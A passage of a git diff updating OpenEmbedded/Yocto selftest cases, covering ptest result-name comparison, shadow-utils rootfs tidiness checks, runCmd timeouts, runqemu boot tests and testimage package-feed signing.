+ "MACHINE": "qemux86_64"
+ }, "result": {
+ "bar": {
+ "status": "PASSED"
+ }}}
+ self.assertFalse(regression.can_be_compared(self.logger, base_configuration, target_configuration),
+ msg="incorrect ltpresult filtering, mismatching ltpresult content should not be compared")
+
+ def test_can_compare_ltp_tests(self):
+ base_configuration = {"configuration": {
+ "TEST_TYPE": "runtime",
+ "MACHINE": "qemux86"
+ }, "result": {
+ "ltpresult_foo": {
+ "status": "PASSED"
+ }}}
+ target_configuration = {"configuration": {
+ "TEST_TYPE": "runtime",
+ "MACHINE": "qemux86"
+ }, "result": {
+ "ltpresult_foo": {
+ "status": "PASSED"
+ }}}
+ self.assertTrue(regression.can_be_compared(self.logger, base_configuration, target_configuration),
+ msg="incorrect ltpresult filtering, matching ltpresult content should be compared")
+
+ def test_can_match_non_static_ptest_names(self):
+ base_configuration = {"a": {
+ "conf_X": {
+ "configuration": {
+ "TEST_TYPE": "runtime",
+ "MACHINE": "qemux86"
+ }, "result": {
+ "ptestresult.lttng-tools.foo_-_bar_-_moo": {
+ "status": "PASSED"
+ },
+ "ptestresult.babeltrace.bar_-_moo_-_foo": {
+ "status": "PASSED"
+ },
+ "ptestresult.babeltrace2.moo_-_foo_-_bar": {
+ "status": "PASSED"
+ },
+ "ptestresult.curl.test_0000__foo_out_of_bar": {
+ "status": "PASSED"
+ },
+ "ptestresult.dbus.test_0000__foo_out_of_bar,_remaining:_00:02,_took_0.032s,_duration:_03:32_": {
+ "status": "PASSED"
+ },
+ "ptestresult.binutils-ld.in testcase /foo/build-st-bar/moo/ctf.exp": {
+ "status": "PASSED"
+ },
+ "ptestresult.gcc-libstdc++-v3.Couldn't create remote directory /tmp/runtest.30975 on target": {
+ "status": "PASSED"
+ },
+ "ptestresult.gcc-libgomp.Couldn't create remote directory /tmp/runtest.3657621 on": {
+ "status": "PASSED"
+ }
+ }}}}
+ target_configuration = {"a": {
+ "conf_Y": {
+ "configuration": {
+ "TEST_TYPE": "runtime",
+ "MACHINE": "qemux86"
+ }, "result": {
+ "ptestresult.lttng-tools.foo_-_yyy_-_zzz": {
+ "status": "PASSED"
+ },
+ "ptestresult.babeltrace.bar_-_zzz_-_xxx": {
+ "status": "PASSED"
+ },
+ "ptestresult.babeltrace2.moo_-_xxx_-_yyy": {
+ "status": "PASSED"
+ },
+ "ptestresult.curl.test_0000__xxx_out_of_yyy": {
+ "status": "PASSED"
+ },
+ "ptestresult.dbus.test_0000__yyy_out_of_zzz,_remaining:_00:03,_took_0.034s,_duration:_03:30_": {
+ "status": "PASSED"
+ },
+ "ptestresult.binutils-ld.in testcase /xxx/build-st-yyy/zzz/ctf.exp": {
+ "status": "PASSED"
+ },
+ "ptestresult.gcc-libstdc++-v3.Couldn't create remote directory /tmp/runtest.45678 on target": {
+ "status": "PASSED"
+ },
+ "ptestresult.gcc-libgomp.Couldn't create remote directory /tmp/runtest.3657621 on": {
+ "status": "PASSED"
+ }
+ }}}}
+ regression.fixup_ptest_names(base_configuration, self.logger)
+ regression.fixup_ptest_names(target_configuration, self.logger)
+ result, resultstring = regression.compare_result(
+ self.logger, "A", "B", base_configuration["a"]["conf_X"], target_configuration["a"]["conf_Y"])
+ self.assertDictEqual(
+ result, {}, msg=f"ptests should be compared: {resultstring}")
diff --git a/meta/lib/oeqa/selftest/cases/rootfspostcommandstests.py b/meta/lib/oeqa/selftest/cases/rootfspostcommandstests.py
new file mode 100644
index 0000000000..44e2c09a6f
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/rootfspostcommandstests.py
@@ -0,0 +1,97 @@
+# SPDX-FileCopyrightText: Huawei Inc.
+#
+# SPDX-License-Identifier: MIT
+
+import os
+import oe
+import unittest
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake, get_bb_vars
+
+class ShadowUtilsTidyFiles(OESelftestTestCase):
+ """
+ Check if shadow image rootfs files are tidy.
+
+ The tests are focused on testing the functionality provided by the
+ 'tidy_shadowutils_files' rootfs postprocess command (via
+ SORT_PASSWD_POSTPROCESS_COMMAND).
+ """
+
+ def sysconf_build(self):
+ """
+ Verify if shadow tidy files tests are to be run and if yes, build a
+ test image and return its sysconf rootfs path.
+ """
+
+ test_image = "core-image-minimal"
+
+ config = 'IMAGE_CLASSES += "extrausers"\n'
+ config += 'EXTRA_USERS_PARAMS = "groupadd -g 1000 oeqatester; "\n'
+ config += 'EXTRA_USERS_PARAMS += "useradd -p \'\' -u 1000 -N -g 1000 oeqatester; "\n'
+ self.write_config(config)
+
+ vars = get_bb_vars(("IMAGE_ROOTFS", "SORT_PASSWD_POSTPROCESS_COMMAND", "sysconfdir"),
+ test_image)
+ passwd_postprocess_cmd = vars["SORT_PASSWD_POSTPROCESS_COMMAND"]
+ self.assertIsNotNone(passwd_postprocess_cmd)
+ if (passwd_postprocess_cmd.strip() != 'tidy_shadowutils_files;'):
+ raise unittest.SkipTest("Testcase skipped as 'tidy_shadowutils_files' "
+ "rootfs post process command is not the set SORT_PASSWD_POSTPROCESS_COMMAND.")
+
+ rootfs = vars["IMAGE_ROOTFS"]
+ self.assertIsNotNone(rootfs)
+ sysconfdir = vars["sysconfdir"]
+ bitbake(test_image)
+ self.assertIsNotNone(sysconfdir)
+
+ return oe.path.join(rootfs, sysconfdir)
+
+ def test_shadowutils_backup_files(self):
+ """
+ Test that the rootfs doesn't include any known shadow backup files.
+ """
+
+ backup_files = (
+ 'group-',
+ 'gshadow-',
+ 'passwd-',
+ 'shadow-',
+ 'subgid-',
+ 'subuid-',
+ )
+
+ rootfs_sysconfdir = self.sysconf_build()
+ found = []
+ for backup_file in backup_files:
+ backup_filepath = oe.path.join(rootfs_sysconfdir, backup_file)
+ if os.path.exists(backup_filepath):
+ found.append(backup_file)
+ if (found):
+ raise Exception('The following shadow backup files were found in '
+ 'the rootfs: %s' % found)
+
+ def test_shadowutils_sorted_files(self):
+ """
+ Test that the 'passwd' and the 'group' shadow utils files are ordered
+ by ID.
+ """
+
+ files = (
+ 'passwd',
+ 'group',
+ )
+
+ rootfs_sysconfdir = self.sysconf_build()
+ unsorted = []
+ for file in files:
+ filepath = oe.path.join(rootfs_sysconfdir, file)
+ with open(filepath, 'rb') as f:
+ ids = []
+ lines = f.readlines()
+ for line in lines:
+ entries = line.split(b':')
+ ids.append(int(entries[2]))
+ if (ids != sorted(ids)):
+ unsorted.append(file)
+ if (unsorted):
+ raise Exception("The following files were not sorted by ID as expected: %s" % unsorted)
diff --git a/meta/lib/oeqa/selftest/cases/rpmtests.py b/meta/lib/oeqa/selftest/cases/rpmtests.py
new file mode 100644
index 0000000000..902d7dca3d
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/rpmtests.py
@@ -0,0 +1,14 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake
+
+class BitbakeTests(OESelftestTestCase):
+
+ def test_rpm_filenames(self):
+ test_recipe = "testrpm"
+ bitbake(test_recipe)
diff --git a/meta/lib/oeqa/selftest/cases/runcmd.py b/meta/lib/oeqa/selftest/cases/runcmd.py
index a5ef1ea95f..70047ca0ca 100644
--- a/meta/lib/oeqa/selftest/cases/runcmd.py
+++ b/meta/lib/oeqa/selftest/cases/runcmd.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -27,8 +29,8 @@ class RunCmdTests(OESelftestTestCase):
# The delta is intentionally smaller than the timeout, to detect cases where
# we incorrectly apply the timeout more than once.
- TIMEOUT = 5
- DELTA = 3
+ TIMEOUT = 10
+ DELTA = 8
def test_result_okay(self):
result = runCmd("true")
@@ -56,20 +58,20 @@ class RunCmdTests(OESelftestTestCase):
self.assertEqual(result.status, 0)
def test_result_assertion(self):
- self.assertRaisesRegexp(AssertionError, "Command 'echo .* false' returned non-zero exit status 1:\nfoobar",
+ self.assertRaisesRegex(AssertionError, "Command 'echo .* false' returned non-zero exit status 1:\nfoobar",
runCmd, "echo foobar >&2; false", shell=True)
def test_result_exception(self):
- self.assertRaisesRegexp(CommandError, "Command 'echo .* false' returned non-zero exit status 1 with output: foobar",
+ self.assertRaisesRegex(CommandError, "Command 'echo .* false' returned non-zero exit status 1 with output: foobar",
runCmd, "echo foobar >&2; false", shell=True, assert_error=False)
def test_output(self):
- result = runCmd("echo stdout; echo stderr >&2", shell=True)
+ result = runCmd("echo stdout; echo stderr >&2", shell=True, sync=False)
self.assertEqual("stdout\nstderr", result.output)
self.assertEqual("", result.error)
def test_output_split(self):
- result = runCmd("echo stdout; echo stderr >&2", shell=True, stderr=subprocess.PIPE)
+ result = runCmd("echo stdout; echo stderr >&2", shell=True, stderr=subprocess.PIPE, sync=False)
self.assertEqual("stdout", result.output)
self.assertEqual("stderr", result.error)
@@ -77,7 +79,7 @@ class RunCmdTests(OESelftestTestCase):
numthreads = threading.active_count()
start = time.time()
# Killing a hanging process only works when not using a shell?!
- result = runCmd(['sleep', '60'], timeout=self.TIMEOUT, ignore_status=True)
+ result = runCmd(['sleep', '60'], timeout=self.TIMEOUT, ignore_status=True, sync=False)
self.assertEqual(result.status, -signal.SIGTERM)
end = time.time()
self.assertLess(end - start, self.TIMEOUT + self.DELTA)
@@ -87,7 +89,7 @@ class RunCmdTests(OESelftestTestCase):
numthreads = threading.active_count()
start = time.time()
# Killing a hanging process only works when not using a shell?!
- result = runCmd(['sleep', '60'], timeout=self.TIMEOUT, ignore_status=True, stderr=subprocess.PIPE)
+ result = runCmd(['sleep', '60'], timeout=self.TIMEOUT, ignore_status=True, stderr=subprocess.PIPE, sync=False)
self.assertEqual(result.status, -signal.SIGTERM)
end = time.time()
self.assertLess(end - start, self.TIMEOUT + self.DELTA)
@@ -95,7 +97,7 @@ class RunCmdTests(OESelftestTestCase):
def test_stdin(self):
numthreads = threading.active_count()
- result = runCmd("cat", data=b"hello world", timeout=self.TIMEOUT)
+ result = runCmd("cat", data=b"hello world", timeout=self.TIMEOUT, sync=False)
self.assertEqual("hello world", result.output)
self.assertEqual(numthreads, threading.active_count(), msg="Thread counts were not equal before (%s) and after (%s), active threads: %s" % (numthreads, threading.active_count(), threading.enumerate()))
self.assertEqual(numthreads, 1)
@@ -103,7 +105,7 @@ class RunCmdTests(OESelftestTestCase):
def test_stdin_timeout(self):
numthreads = threading.active_count()
start = time.time()
- result = runCmd(['sleep', '60'], data=b"hello world", timeout=self.TIMEOUT, ignore_status=True)
+ result = runCmd(['sleep', '60'], data=b"hello world", timeout=self.TIMEOUT, ignore_status=True, sync=False)
self.assertEqual(result.status, -signal.SIGTERM)
end = time.time()
self.assertLess(end - start, self.TIMEOUT + self.DELTA)
@@ -111,12 +113,12 @@ class RunCmdTests(OESelftestTestCase):
def test_log(self):
log = MemLogger()
- result = runCmd("echo stdout; echo stderr >&2", shell=True, output_log=log)
+ result = runCmd("echo stdout; echo stderr >&2", shell=True, output_log=log, sync=False)
self.assertEqual(["Running: echo stdout; echo stderr >&2", "stdout", "stderr"], log.info_msgs)
self.assertEqual([], log.error_msgs)
def test_log_split(self):
log = MemLogger()
- result = runCmd("echo stdout; echo stderr >&2", shell=True, output_log=log, stderr=subprocess.PIPE)
+ result = runCmd("echo stdout; echo stderr >&2", shell=True, output_log=log, stderr=subprocess.PIPE, sync=False)
self.assertEqual(["Running: echo stdout; echo stderr >&2", "stdout"], log.info_msgs)
self.assertEqual(["stderr"], log.error_msgs)
diff --git a/meta/lib/oeqa/selftest/cases/runqemu.py b/meta/lib/oeqa/selftest/cases/runqemu.py
index 7e676bcb41..f01e1eec66 100644
--- a/meta/lib/oeqa/selftest/cases/runqemu.py
+++ b/meta/lib/oeqa/selftest/cases/runqemu.py
@@ -4,14 +4,17 @@
# SPDX-License-Identifier: MIT
#
+import os
import re
-import tempfile
import time
import oe.types
from oeqa.core.decorator import OETestTag
+from oeqa.core.decorator.data import skipIfNotArch, skipIfNotMachine
from oeqa.selftest.case import OESelftestTestCase
-from oeqa.utils.commands import bitbake, runqemu, get_bb_var, runCmd
+from oeqa.utils.commands import bitbake, runqemu, get_bb_var
+
+@OETestTag("runqemu")
class RunqemuTests(OESelftestTestCase):
"""Runqemu test class"""
@@ -21,23 +24,26 @@ class RunqemuTests(OESelftestTestCase):
def setUpLocal(self):
super(RunqemuTests, self).setUpLocal()
self.recipe = 'core-image-minimal'
- self.machine = 'qemux86-64'
- self.fstypes = "ext4 iso hddimg wic.vmdk wic.qcow2 wic.vdi"
- self.cmd_common = "runqemu nographic"
+ self.machine = self.td['MACHINE']
+ self.image_link_name = get_bb_var('IMAGE_LINK_NAME', self.recipe)
- kvm = oe.types.qemu_use_kvm(get_bb_var('QEMU_USE_KVM'), 'x86_64')
+ self.fstypes = "ext4"
+ if self.td["HOST_ARCH"] in ('i586', 'i686', 'x86_64'):
+ self.fstypes += " iso hddimg"
+ if self.machine == "qemux86-64":
+ self.fstypes += " wic.vmdk wic.qcow2 wic.vdi"
+
+ self.cmd_common = "runqemu nographic"
+ kvm = oe.types.qemu_use_kvm(get_bb_var('QEMU_USE_KVM'), self.td["TARGET_ARCH"])
if kvm:
self.cmd_common += " kvm"
self.write_config(
"""
-MACHINE = "%s"
IMAGE_FSTYPES = "%s"
# 10 means 1 second
SYSLINUX_TIMEOUT = "10"
-"""
-% (self.machine, self.fstypes)
- )
+""" % self.fstypes)
if not RunqemuTests.image_is_ready:
RunqemuTests.deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
@@ -56,14 +62,17 @@ SYSLINUX_TIMEOUT = "10"
cmd = "%s %s ext4" % (self.cmd_common, self.machine)
with runqemu(self.recipe, ssh=False, launch_cmd=cmd) as qemu:
with open(qemu.qemurunnerlog) as f:
- self.assertIn('rootfs.ext4', f.read(), "Failed: %s" % cmd)
+ regexp = r'\nROOTFS: .*\.ext4]\n'
+ self.assertRegex(f.read(), regexp, "Failed to find '%s' in '%s' after running '%s'" % (regexp, qemu.qemurunnerlog, cmd))
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
def test_boot_machine_iso(self):
"""Test runqemu machine iso"""
cmd = "%s %s iso" % (self.cmd_common, self.machine)
with runqemu(self.recipe, ssh=False, launch_cmd=cmd) as qemu:
with open(qemu.qemurunnerlog) as f:
- self.assertIn('media=cdrom', f.read(), "Failed: %s" % cmd)
+ text_in = 'media=cdrom'
+ self.assertIn(text_in, f.read(), "Failed to find '%s' in '%s' after running '%s'" % (text_in, qemu.qemurunnerlog, cmd))
def test_boot_recipe_image(self):
"""Test runqemu recipe-image"""
@@ -72,20 +81,24 @@ SYSLINUX_TIMEOUT = "10"
with open(qemu.qemurunnerlog) as f:
self.assertTrue(qemu.runner.logged, "Failed: %s, %s" % (cmd, f.read()))
-
+ # https://bugzilla.yoctoproject.org/show_bug.cgi?id=14963
+ @skipIfNotMachine("qemux86-64", "tests are qemux86-64 specific currently")
def test_boot_recipe_image_vmdk(self):
"""Test runqemu recipe-image vmdk"""
cmd = "%s %s wic.vmdk" % (self.cmd_common, self.recipe)
with runqemu(self.recipe, ssh=False, launch_cmd=cmd) as qemu:
with open(qemu.qemurunnerlog) as f:
- self.assertIn('format=vmdk', f.read(), "Failed: %s" % cmd)
+ text_in = 'format=vmdk'
+ self.assertIn(text_in, f.read(), "Failed to find '%s' in '%s' after running '%s'" % (text_in, qemu.qemurunnerlog, cmd))
+ @skipIfNotMachine("qemux86-64", "tests are qemux86-64 specific currently")
def test_boot_recipe_image_vdi(self):
"""Test runqemu recipe-image vdi"""
cmd = "%s %s wic.vdi" % (self.cmd_common, self.recipe)
with runqemu(self.recipe, ssh=False, launch_cmd=cmd) as qemu:
with open(qemu.qemurunnerlog) as f:
- self.assertIn('format=vdi', f.read(), "Failed: %s" % cmd)
+ text_in = 'format=vdi'
+ self.assertIn(text_in, f.read(), "Failed to find '%s' in '%s' after running '%s'" % (text_in, qemu.qemurunnerlog, cmd))
def test_boot_deploy(self):
"""Test runqemu deploy_dir_image"""
@@ -94,7 +107,7 @@ SYSLINUX_TIMEOUT = "10"
with open(qemu.qemurunnerlog) as f:
self.assertTrue(qemu.runner.logged, "Failed: %s, %s" % (cmd, f.read()))
-
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
def test_boot_deploy_hddimg(self):
"""Test runqemu deploy_dir_image hddimg"""
cmd = "%s %s hddimg" % (self.cmd_common, self.deploy_dir_image)
@@ -109,6 +122,7 @@ SYSLINUX_TIMEOUT = "10"
with open(qemu.qemurunnerlog) as f:
self.assertIn(' -netdev user', f.read(), "Failed: %s" % cmd)
+ @skipIfNotMachine("qemux86-64", "tests are qemux86-64 specific currently")
def test_boot_machine_slirp_qcow2(self):
"""Test runqemu machine slirp qcow2"""
cmd = "%s slirp wic.qcow2 %s" % (self.cmd_common, self.machine)
@@ -118,7 +132,7 @@ SYSLINUX_TIMEOUT = "10"
def test_boot_qemu_boot(self):
"""Test runqemu /path/to/image.qemuboot.conf"""
- qemuboot_conf = "%s-%s.qemuboot.conf" % (self.recipe, self.machine)
+ qemuboot_conf = "%s.qemuboot.conf" % (self.image_link_name)
qemuboot_conf = os.path.join(self.deploy_dir_image, qemuboot_conf)
if not os.path.exists(qemuboot_conf):
self.skipTest("%s not found" % qemuboot_conf)
@@ -129,7 +143,7 @@ SYSLINUX_TIMEOUT = "10"
def test_boot_rootfs(self):
"""Test runqemu /path/to/rootfs.ext4"""
- rootfs = "%s-%s.ext4" % (self.recipe, self.machine)
+ rootfs = "%s.ext4" % (self.image_link_name)
rootfs = os.path.join(self.deploy_dir_image, rootfs)
if not os.path.exists(rootfs):
self.skipTest("%s not found" % rootfs)
@@ -149,26 +163,27 @@ SYSLINUX_TIMEOUT = "10"
# bootup various filesystem types, including live image(iso and hddimg)
# where live image was not supported on all qemu architecture.
@OETestTag("machine")
+@OETestTag("runqemu")
class QemuTest(OESelftestTestCase):
@classmethod
def setUpClass(cls):
super(QemuTest, cls).setUpClass()
cls.recipe = 'core-image-minimal'
- cls.machine = get_bb_var('MACHINE')
- cls.deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ cls.machine = get_bb_var('MACHINE')
+ cls.deploy_dir_image = get_bb_var('DEPLOY_DIR_IMAGE')
+ cls.image_link_name = get_bb_var('IMAGE_LINK_NAME', cls.recipe)
cls.cmd_common = "runqemu nographic"
- cls.qemuboot_conf = "%s-%s.qemuboot.conf" % (cls.recipe, cls.machine)
+ cls.qemuboot_conf = "%s.qemuboot.conf" % (cls.image_link_name)
cls.qemuboot_conf = os.path.join(cls.deploy_dir_image, cls.qemuboot_conf)
bitbake(cls.recipe)
def _start_qemu_shutdown_check_if_shutdown_succeeded(self, qemu, timeout):
+ # Allow the runner's LoggingThread instance to exit without errors
+ # (such as the exception "Console connection closed unexpectedly")
+ # as qemu will disappear when we shut it down
+ qemu.runner.allowexit()
qemu.run_serial("shutdown -h now")
- # Stop thread will stop the LoggingThread instance used for logging
- # qemu through serial console, stop thread will prevent this code
- # from facing exception (Console connection closed unexpectedly)
- # when qemu was shutdown by the above shutdown command
- qemu.runner.stop_thread()
time_track = 0
try:
while True:
@@ -190,22 +205,12 @@ class QemuTest(OESelftestTestCase):
qemu_shutdown_succeeded = self._start_qemu_shutdown_check_if_shutdown_succeeded(qemu, shutdown_timeout)
self.assertTrue(qemu_shutdown_succeeded, 'Failed: %s does not shutdown within timeout(%s)' % (self.machine, shutdown_timeout))
- # Need to have portmap/rpcbind running to allow this test to work and
- # current autobuilder setup does not have this.
- def disabled_test_qemu_can_boot_nfs_and_shutdown(self):
- self.assertExists(self.qemuboot_conf)
- bitbake('meta-ide-support')
- rootfs_tar = "%s-%s.tar.bz2" % (self.recipe, self.machine)
+ def test_qemu_can_boot_nfs_and_shutdown(self):
+ rootfs_tar = "%s.tar.bz2" % (self.image_link_name)
rootfs_tar = os.path.join(self.deploy_dir_image, rootfs_tar)
self.assertExists(rootfs_tar)
- tmpdir = tempfile.mkdtemp(prefix='qemu_nfs')
- tmpdir_nfs = os.path.join(tmpdir, 'nfs')
- cmd_extract_nfs = 'runqemu-extract-sdk %s %s' % (rootfs_tar, tmpdir_nfs)
- result = runCmd(cmd_extract_nfs)
- self.assertEqual(0, result.status, "runqemu-extract-sdk didn't run as expected. %s" % result.output)
- cmd = "%s nfs %s %s" % (self.cmd_common, self.qemuboot_conf, tmpdir_nfs)
+ cmd = "%s %s" % (self.cmd_common, rootfs_tar)
shutdown_timeout = 120
with runqemu(self.recipe, ssh=False, launch_cmd=cmd) as qemu:
qemu_shutdown_succeeded = self._start_qemu_shutdown_check_if_shutdown_succeeded(qemu, shutdown_timeout)
self.assertTrue(qemu_shutdown_succeeded, 'Failed: %s does not shutdown within timeout(%s)' % (self.machine, shutdown_timeout))
- runCmd('rm -rf %s' % tmpdir)
diff --git a/meta/lib/oeqa/selftest/cases/runtime_test.py b/meta/lib/oeqa/selftest/cases/runtime_test.py
index 793c98a335..12000aac16 100644
--- a/meta/lib/oeqa/selftest/cases/runtime_test.py
+++ b/meta/lib/oeqa/selftest/cases/runtime_test.py
@@ -1,24 +1,20 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
from oeqa.selftest.case import OESelftestTestCase
from oeqa.utils.commands import runCmd, bitbake, get_bb_var, get_bb_vars, runqemu
-from oeqa.utils.sshcontrol import SSHControl
+from oeqa.core.decorator import OETestTag
import os
-import re
import tempfile
-import shutil
import oe.lsb
-from oeqa.core.decorator.data import skipIfNotQemu
+from oeqa.core.decorator.data import skipIfNotQemu, skipIfNotMachine
class TestExport(OESelftestTestCase):
- @classmethod
- def tearDownClass(cls):
- runCmd("rm -rf /tmp/sdk")
- super(TestExport, cls).tearDownClass()
-
+ @OETestTag("runqemu")
def test_testexport_basic(self):
"""
Summary: Check basic testexport functionality with only ping test enabled.
@@ -29,7 +25,7 @@ class TestExport(OESelftestTestCase):
Author: Mariano Lopez <mariano.lopez@intel.com>
"""
- features = 'INHERIT += "testexport"\n'
+ features = 'IMAGE_CLASSES += "testexport"\n'
# These aren't the actual IP addresses but testexport class needs something defined
features += 'TEST_SERVER_IP = "192.168.7.1"\n'
features += 'TEST_TARGET_IP = "192.168.7.1"\n'
@@ -70,7 +66,7 @@ class TestExport(OESelftestTestCase):
Author: Mariano Lopez <mariano.lopez@intel.com>
"""
- features = 'INHERIT += "testexport"\n'
+ features = 'IMAGE_CLASSES += "testexport"\n'
# These aren't the actual IP addresses but testexport class needs something defined
features += 'TEST_SERVER_IP = "192.168.7.1"\n'
features += 'TEST_TARGET_IP = "192.168.7.1"\n'
@@ -95,21 +91,23 @@ class TestExport(OESelftestTestCase):
msg = "Couldn't find SDK tarball: %s" % tarball_path
self.assertEqual(os.path.isfile(tarball_path), True, msg)
- # Extract SDK and run tar from SDK
- result = runCmd("%s -y -d /tmp/sdk" % tarball_path)
- self.assertEqual(0, result.status, "Couldn't extract SDK")
+ with tempfile.TemporaryDirectory() as tmpdirname:
+ # Extract SDK and run tar from SDK
+ result = runCmd("%s -y -d %s" % (tarball_path, tmpdirname))
+ self.assertEqual(0, result.status, "Couldn't extract SDK")
- env_script = result.output.split()[-1]
- result = runCmd(". %s; which tar" % env_script, shell=True)
- self.assertEqual(0, result.status, "Couldn't setup SDK environment")
- is_sdk_tar = True if "/tmp/sdk" in result.output else False
- self.assertTrue(is_sdk_tar, "Couldn't setup SDK environment")
+ env_script = result.output.split()[-1]
+ result = runCmd(". %s; which tar" % env_script, shell=True)
+ self.assertEqual(0, result.status, "Couldn't setup SDK environment")
+ is_sdk_tar = True if tmpdirname in result.output else False
+ self.assertTrue(is_sdk_tar, "Couldn't setup SDK environment")
- tar_sdk = result.output
- result = runCmd("%s --version" % tar_sdk)
- self.assertEqual(0, result.status, "Couldn't run tar from SDK")
+ tar_sdk = result.output
+ result = runCmd("%s --version" % tar_sdk)
+ self.assertEqual(0, result.status, "Couldn't run tar from SDK")
+@OETestTag("runqemu")
class TestImage(OESelftestTestCase):
def test_testimage_install(self):
@@ -123,15 +121,30 @@ class TestImage(OESelftestTestCase):
if get_bb_var('DISTRO') == 'poky-tiny':
self.skipTest('core-image-full-cmdline not buildable for poky-tiny')
- features = 'INHERIT += "testimage"\n'
- features += 'IMAGE_INSTALL_append = " libssl"\n'
+ features = 'IMAGE_CLASSES += "testimage"\n'
+ features += 'IMAGE_INSTALL:append = " libssl"\n'
features += 'TEST_SUITES = "ping ssh selftest"\n'
self.write_config(features)
- # Build core-image-sato and testimage
bitbake('core-image-full-cmdline socat')
bitbake('-c testimage core-image-full-cmdline')
+ def test_testimage_slirp(self):
+ """
+ Summary: Check basic testimage functionality with qemu and slirp networking.
+ """
+
+ features = '''
+IMAGE_CLASSES:append = " testimage"
+IMAGE_FEATURES:append = " ssh-server-dropbear"
+IMAGE_ROOTFS_EXTRA_SPACE:append = "${@bb.utils.contains("IMAGE_CLASSES", "testimage", " + 5120", "", d)}"
+TEST_RUNQEMUPARAMS += " slirp"
+'''
+ self.write_config(features)
+
+ bitbake('core-image-minimal')
+ bitbake('-c testimage core-image-minimal')
+
def test_testimage_dnf(self):
"""
Summary: Check package feeds functionality for dnf
@@ -142,7 +155,7 @@ class TestImage(OESelftestTestCase):
if get_bb_var('DISTRO') == 'poky-tiny':
self.skipTest('core-image-full-cmdline not buildable for poky-tiny')
- features = 'INHERIT += "testimage"\n'
+ features = 'IMAGE_CLASSES += "testimage"\n'
features += 'TEST_SUITES = "ping ssh dnf_runtime dnf.DnfBasicTest.test_dnf_help"\n'
# We don't yet know what the server ip and port will be - they will be patched
# in at the start of the on-image test
@@ -156,17 +169,57 @@ class TestImage(OESelftestTestCase):
self.gpg_home = tempfile.mkdtemp(prefix="oeqa-feed-sign-")
self.track_for_cleanup(self.gpg_home)
signing_key_dir = os.path.join(self.testlayer_path, 'files', 'signing')
- runCmd('gpg --batch --homedir %s --import %s' % (self.gpg_home, os.path.join(signing_key_dir, 'key.secret')), native_sysroot=get_bb_var("RECIPE_SYSROOT_NATIVE", "gnupg-native"))
+ runCmd('gpgconf --list-dirs --homedir %s; gpg -v --batch --homedir %s --import %s' % (self.gpg_home, self.gpg_home, os.path.join(signing_key_dir, 'key.secret')), native_sysroot=get_bb_var("RECIPE_SYSROOT_NATIVE", "gnupg-native"), shell=True)
+ features += 'INHERIT += "sign_package_feed"\n'
+ features += 'PACKAGE_FEED_GPG_NAME = "testuser"\n'
+ features += 'PACKAGE_FEED_GPG_PASSPHRASE_FILE = "%s"\n' % os.path.join(signing_key_dir, 'key.passphrase')
+ features += 'GPG_PATH = "%s"\n' % self.gpg_home
+ features += 'PSEUDO_IGNORE_PATHS .= ",%s"\n' % self.gpg_home
+ self.write_config(features)
+
+ bitbake('core-image-full-cmdline socat')
+ bitbake('-c testimage core-image-full-cmdline')
+
+ def test_testimage_apt(self):
+ """
+ Summary: Check package feeds functionality for apt
+ Expected: 1. Check that remote package feeds can be accessed
+ Product: oe-core
+ Author: Ferry Toth <fntoth@gmail.com>
+ """
+ if get_bb_var('DISTRO') == 'poky-tiny':
+ self.skipTest('core-image-full-cmdline not buildable for poky-tiny')
+
+ features = 'IMAGE_CLASSES += "testimage"\n'
+ features += 'TEST_SUITES = "ping ssh apt.AptRepoTest.test_apt_install_from_repo"\n'
+ # We don't yet know what the server ip and port will be - they will be patched
+ # in at the start of the on-image test
+ features += 'PACKAGE_FEED_URIS = "http://bogus_ip:bogus_port"\n'
+ features += 'EXTRA_IMAGE_FEATURES += "package-management"\n'
+ features += 'PACKAGE_CLASSES = "package_deb"\n'
+ # We need gnupg on the target to install keys
+ features += 'IMAGE_INSTALL:append:pn-core-image-full-cmdline = " gnupg"\n'
+
+ bitbake('gnupg-native -c addto_recipe_sysroot')
+
+ # Enable package feed signing
+ self.gpg_home = tempfile.mkdtemp(prefix="oeqa-feed-sign-")
+ self.track_for_cleanup(self.gpg_home)
+ signing_key_dir = os.path.join(self.testlayer_path, 'files', 'signing')
+ runCmd('gpgconf --list-dirs --homedir %s; gpg -v --batch --homedir %s --import %s' % (self.gpg_home, self.gpg_home, os.path.join(signing_key_dir, 'key.secret')), native_sysroot=get_bb_var("RECIPE_SYSROOT_NATIVE", "gnupg-native"), shell=True)
features += 'INHERIT += "sign_package_feed"\n'
features += 'PACKAGE_FEED_GPG_NAME = "testuser"\n'
features += 'PACKAGE_FEED_GPG_PASSPHRASE_FILE = "%s"\n' % os.path.join(signing_key_dir, 'key.passphrase')
features += 'GPG_PATH = "%s"\n' % self.gpg_home
+ features += 'PSEUDO_IGNORE_PATHS .= ",%s"\n' % self.gpg_home
self.write_config(features)
# Build core-image-sato and testimage
bitbake('core-image-full-cmdline socat')
bitbake('-c testimage core-image-full-cmdline')
+ # https://bugzilla.yoctoproject.org/show_bug.cgi?id=14966
+ @skipIfNotMachine("qemux86-64", "test needs qemux86-64")
def test_testimage_virgl_gtk_sdl(self):
"""
Summary: Check host-assisted accelerate OpenGL functionality in qemu with gtk and SDL frontends
@@ -189,25 +242,26 @@ class TestImage(OESelftestTestCase):
qemu_packageconfig = get_bb_var('PACKAGECONFIG', 'qemu-system-native')
qemu_distrofeatures = get_bb_var('DISTRO_FEATURES', 'qemu-system-native')
- features = 'INHERIT += "testimage"\n'
+ features = 'IMAGE_CLASSES += "testimage"\n'
if 'gtk+' not in qemu_packageconfig:
- features += 'PACKAGECONFIG_append_pn-qemu-system-native = " gtk+"\n'
+ features += 'PACKAGECONFIG:append:pn-qemu-system-native = " gtk+"\n'
if 'sdl' not in qemu_packageconfig:
- features += 'PACKAGECONFIG_append_pn-qemu-system-native = " sdl"\n'
+ features += 'PACKAGECONFIG:append:pn-qemu-system-native = " sdl"\n'
